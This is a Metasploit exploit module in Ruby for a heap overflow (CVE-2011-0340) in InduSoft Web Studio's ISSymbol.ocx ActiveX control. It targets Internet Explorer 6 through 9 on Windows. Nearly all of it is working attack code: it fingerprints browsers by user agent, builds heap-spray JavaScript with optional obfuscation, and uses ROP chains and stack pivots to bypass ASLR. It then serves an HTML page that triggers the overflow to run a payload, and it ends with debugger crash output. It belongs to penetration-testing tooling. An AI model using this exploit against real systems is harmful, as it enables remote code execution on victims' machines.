313 lines
9.0 KiB
Ruby
313 lines
9.0 KiB
Ruby
|
##
|
||
|
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
|
# Framework web site for more information on licensing and terms of use.
|
||
|
|
# http://metasploit.com/framework/
|
||
|
|
##
|
||
|
|
|
||
|
|
require 'msf/core'
|
||
|
|
|
||
|
|
class Metasploit3 < Msf::Exploit::Remote
|
||
|
|
Rank = NormalRanking
|
||
|
|
|
||
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||
|
|
include Msf::Exploit::RopDb
|
||
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
||
|
|
|
||
|
|
autopwn_info({
|
||
|
|
:ua_name => HttpClients::IE,
|
||
|
|
:ua_minver => "6.0",
|
||
|
|
:ua_maxver => "9.0",
|
||
|
|
:javascript => true,
|
||
|
|
:os_name => OperatingSystems::WINDOWS,
|
||
|
|
:rank => NormalRanking,
|
||
|
|
:classid => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}",
|
||
|
|
:method => "InternationalSeparator"
|
||
|
|
})
|
||
|
|
|
||
|
|
|
||
|
|
def initialize(info={})
|
||
|
|
super(update_info(info,
|
||
|
|
'Name' => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow",
|
||
|
|
'Description' => %q{
|
||
|
|
This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00
|
||
|
|
SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long
|
||
|
|
string argument for the InternationalSeparator() method of the ISSymbol control.
|
||
|
|
This modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR.
|
||
|
|
},
|
||
|
|
'License' => MSF_LICENSE,
|
||
|
|
'Author' =>
|
||
|
|
[
|
||
|
|
'Alexander Gavrun', # Vulnerability discovery
|
||
|
|
'James Fitts', # Metasploit module
|
||
|
|
'juan vazquez' # Metasploit module
|
||
|
|
],
|
||
|
|
'References' =>
|
||
|
|
[
|
||
|
|
[ 'CVE', '2011-0340' ],
|
||
|
|
[ 'OSVDB', '72865' ],
|
||
|
|
[ 'BID', '47596' ],
|
||
|
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-168/' ],
|
||
|
|
[ 'URL', 'http://secunia.com/secunia_research/2011-37/' ]
|
||
|
|
],
|
||
|
|
'Payload' =>
|
||
|
|
{
|
||
|
|
'Space' => 934,
|
||
|
|
'DisableNops' => true,
|
||
|
|
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
||
|
|
},
|
||
|
|
'DefaultOptions' =>
|
||
|
|
{
|
||
|
|
'InitialAutoRunScript' => 'migrate -f'
|
||
|
|
},
|
||
|
|
'Platform' => 'win',
|
||
|
|
'Targets' =>
|
||
|
|
[
|
||
|
|
[ 'Automatic', {} ],
|
||
|
|
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
|
||
|
|
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
|
||
|
|
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],
|
||
|
|
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],
|
||
|
|
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
|
||
|
|
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
|
||
|
|
[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ]
|
||
|
|
],
|
||
|
|
'Privileged' => false,
|
||
|
|
'DisclosureDate' => "Apr 28 2012",
|
||
|
|
'DefaultTarget' => 0))
|
||
|
|
|
||
|
|
register_options(
|
||
|
|
[
|
||
|
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||
|
|
], self.class)
|
||
|
|
|
||
|
|
end
|
||
|
|
|
||
|
|
def get_target(agent)
|
||
|
|
#If the user is already specified by the user, we'll just use that
|
||
|
|
return target if target.name != 'Automatic'
|
||
|
|
|
||
|
|
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||
|
|
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||
|
|
|
||
|
|
ie_name = "IE #{ie}"
|
||
|
|
|
||
|
|
case nt
|
||
|
|
when '5.1'
|
||
|
|
os_name = 'Windows XP SP3'
|
||
|
|
when '6.0'
|
||
|
|
os_name = 'Windows Vista'
|
||
|
|
when '6.1'
|
||
|
|
os_name = 'Windows 7'
|
||
|
|
end
|
||
|
|
|
||
|
|
targets.each do |t|
|
||
|
|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||
|
|
print_status("Target selected as: #{t.name}")
|
||
|
|
return t
|
||
|
|
end
|
||
|
|
end
|
||
|
|
|
||
|
|
return nil
|
||
|
|
end
|
||
|
|
|
||
|
|
def ie_heap_spray(my_target, p)
|
||
|
|
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
||
|
|
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
||
|
|
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
|
||
|
|
|
||
|
|
# Land the payload at 0x0c0c0c0c
|
||
|
|
case my_target
|
||
|
|
when targets[7]
|
||
|
|
# IE 9 on Windows 7
|
||
|
|
js = %Q|
|
||
|
|
function randomblock(blocksize)
|
||
|
|
{
|
||
|
|
var theblock = "";
|
||
|
|
for (var i = 0; i < blocksize; i++)
|
||
|
|
{
|
||
|
|
theblock += Math.floor(Math.random()*90)+10;
|
||
|
|
}
|
||
|
|
return theblock;
|
||
|
|
}
|
||
|
|
|
||
|
|
function tounescape(block)
|
||
|
|
{
|
||
|
|
var blocklen = block.length;
|
||
|
|
var unescapestr = "";
|
||
|
|
for (var i = 0; i < blocklen-1; i=i+4)
|
||
|
|
{
|
||
|
|
unescapestr += "%u" + block.substring(i,i+4);
|
||
|
|
}
|
||
|
|
return unescapestr;
|
||
|
|
}
|
||
|
|
|
||
|
|
var heap_obj = new heapLib.ie(0x10000);
|
||
|
|
var code = unescape("#{js_code}");
|
||
|
|
var nops = unescape("#{js_random_nops}");
|
||
|
|
while (nops.length < 0x80000) nops += nops;
|
||
|
|
var offset_length = #{my_target['Offset']};
|
||
|
|
for (var i=0; i < 0x1000; i++) {
|
||
|
|
var padding = unescape(tounescape(randomblock(0x1000)));
|
||
|
|
while (padding.length < 0x1000) padding+= padding;
|
||
|
|
var junk_offset = padding.substring(0, offset_length);
|
||
|
|
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
|
||
|
|
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
|
||
|
|
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
|
||
|
|
heap_obj.alloc(sprayblock);
|
||
|
|
}
|
||
|
|
|
|
||
|
|
|
||
|
|
else
|
||
|
|
# For IE 6, 7, 8
|
||
|
|
js = %Q|
|
||
|
|
var heap_obj = new heapLib.ie(0x20000);
|
||
|
|
var code = unescape("#{js_code}");
|
||
|
|
var nops = unescape("#{js_nops}");
|
||
|
|
while (nops.length < 0x80000) nops += nops;
|
||
|
|
var offset = nops.substring(0, #{my_target['Offset']});
|
||
|
|
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||
|
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||
|
|
var block = shellcode.substring(0, (0x80000-6)/2);
|
||
|
|
heap_obj.gc();
|
||
|
|
for (var i=1; i < 0x300; i++) {
|
||
|
|
heap_obj.alloc(block);
|
||
|
|
}
|
||
|
|
var overflow = nops.substring(0, 10);
|
||
|
|
|
|
||
|
|
|
||
|
|
end
|
||
|
|
|
||
|
|
js = heaplib(js, {:noobfu => true})
|
||
|
|
|
||
|
|
if datastore['OBFUSCATE']
|
||
|
|
js = ::Rex::Exploitation::JSObfu.new(js)
|
||
|
|
js.obfuscate
|
||
|
|
end
|
||
|
|
|
||
|
|
return js
|
||
|
|
end
|
||
|
|
|
||
|
|
def get_payload(t, cli)
|
||
|
|
code = payload.encoded
|
||
|
|
|
||
|
|
# No rop. Just return the payload.
|
||
|
|
if t['Rop'].nil?
|
||
|
|
prepend = [
|
||
|
|
0x0c0c0c0c,
|
||
|
|
0x0c0c0c0c,
|
||
|
|
0x0c0c0c0c,
|
||
|
|
0x0c0c0c0c,
|
||
|
|
0x0c0c0c0c,
|
||
|
|
0x0c0c0c0c,
|
||
|
|
0x0c0c0c28 # Will finally become EIP
|
||
|
|
].pack("V*")
|
||
|
|
return prepend + code
|
||
|
|
end
|
||
|
|
|
||
|
|
# Both ROP chains generated by mona.py - See corelan.be
|
||
|
|
case t['Rop']
|
||
|
|
when :msvcrt
|
||
|
|
print_status("Using msvcrt ROP")
|
||
|
|
stack_pivot = [
|
||
|
|
0x0c0c0c0c, # ret from msvcrt.dll
|
||
|
|
0x77c15ed6, # ret from msvcrt.dll
|
||
|
|
0x77c15ed6, # ret from msvcrt.dll
|
||
|
|
0x77c15ed6, # ret from msvcrt.dll
|
||
|
|
0x77c15ed6, # ret from msvcrt.dll
|
||
|
|
0x77c1f519, # pop # ret from msvcrt.dll
|
||
|
|
0x77c4fa1a # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll
|
||
|
|
].pack("V*")
|
||
|
|
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
|
||
|
|
else
|
||
|
|
print_status("Using JRE ROP")
|
||
|
|
stack_pivot = [
|
||
|
|
0x0c0c0c0c, # ret from msvcr71.dll
|
||
|
|
0x7c376fff, # ret from msvcr71.dll
|
||
|
|
0x7c376fff, # ret from msvcr71.dll
|
||
|
|
0x7c376fff, # ret from msvcr71.dll
|
||
|
|
0x7c376fff, # ret from msvcr71.dll
|
||
|
|
0x7c376ffe, # pop # ret from msvcr71.dll
|
||
|
|
0x7c376ffc # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll
|
||
|
|
].pack("V*")
|
||
|
|
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
|
||
|
|
end
|
||
|
|
|
||
|
|
return rop_payload
|
||
|
|
end
|
||
|
|
|
||
|
|
def load_exploit_html(my_target, cli)
|
||
|
|
p = get_payload(my_target, cli)
|
||
|
|
js = ie_heap_spray(my_target, p)
|
||
|
|
|
||
|
|
# ActiveX parameters
|
||
|
|
clsid = "3c9dff6f-5cb0-422e-9978-d6405d10718f"
|
||
|
|
name = rand_text_alpha(rand(50) + 1 )
|
||
|
|
boom = Rex::Text.to_unescape("\x0c" * 6888)
|
||
|
|
|
||
|
|
html = %Q|
|
||
|
|
<html>
|
||
|
|
<head>
|
||
|
|
<script>
|
||
|
|
#{js}
|
||
|
|
</script>
|
||
|
|
</head>
|
||
|
|
<body>
|
||
|
|
<object classid='clsid:#{clsid}' id='#{name}'></object>
|
||
|
|
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||
|
|
<script language='javascript'>
|
||
|
|
#{name}.InternationalSeparator(unescape("#{boom}"));
|
||
|
|
</script>
|
||
|
|
</body></html>
|
||
|
|
|
|
||
|
|
|
||
|
|
return html
|
||
|
|
end
|
||
|
|
|
||
|
|
def on_request_uri(cli, request)
|
||
|
|
agent = request.headers['User-Agent']
|
||
|
|
uri = request.uri
|
||
|
|
print_status("Requesting: #{uri}")
|
||
|
|
|
||
|
|
my_target = get_target(agent)
|
||
|
|
# Avoid the attack if no suitable target found
|
||
|
|
if my_target.nil?
|
||
|
|
print_error("Browser not supported, sending 404: #{agent}")
|
||
|
|
send_not_found(cli)
|
||
|
|
return
|
||
|
|
end
|
||
|
|
|
||
|
|
html = load_exploit_html(my_target, cli)
|
||
|
|
html = html.gsub(/^\t\t/, '')
|
||
|
|
print_status("Sending HTML...")
|
||
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||
|
|
end
|
||
|
|
|
||
|
|
end
|
||
|
|
|
||
|
|
=begin
|
||
|
|
eax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796
|
||
|
|
eip=100127d2 esp=0013e60c ebp=0013e640 iopl=0 nv up ei pl nz na po nc
|
||
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
|
||
|
|
ISSymbol!DllUnregisterServer+0xc9e2:
|
||
|
|
100127d2 8b01 mov eax,dword ptr [ecx] ds:0023:336b4632=????????
|
||
|
|
0:000> u eip
|
||
|
|
ISSymbol!DllUnregisterServer+0xc9e2:
|
||
|
|
100127d2 8b01 mov eax,dword ptr [ecx]
|
||
|
|
100127d4 8b5018 mov edx,dword ptr [eax+18h]
|
||
|
|
100127d7 ffe2 jmp edx
|
||
|
|
100127d9 cc int 3
|
||
|
|
100127da cc int 3
|
||
|
|
100127db cc int 3
|
||
|
|
100127dc cc int 3
|
||
|
|
100127dd cc int 3
|
||
|
|
|
||
|
|
* ebx
|
||
|
|
$ ruby pattern_offset.rb 41306941 6888
|
||
|
|
[*] Exact match at offset 240
|
||
|
|
|
||
|
|
* ecx
|
||
|
|
$ ruby pattern_offset.rb 336b4632 6888
|
||
|
|
[*] Exact match at offset 4208
|
||
|
|
|
||
|
|
=end
|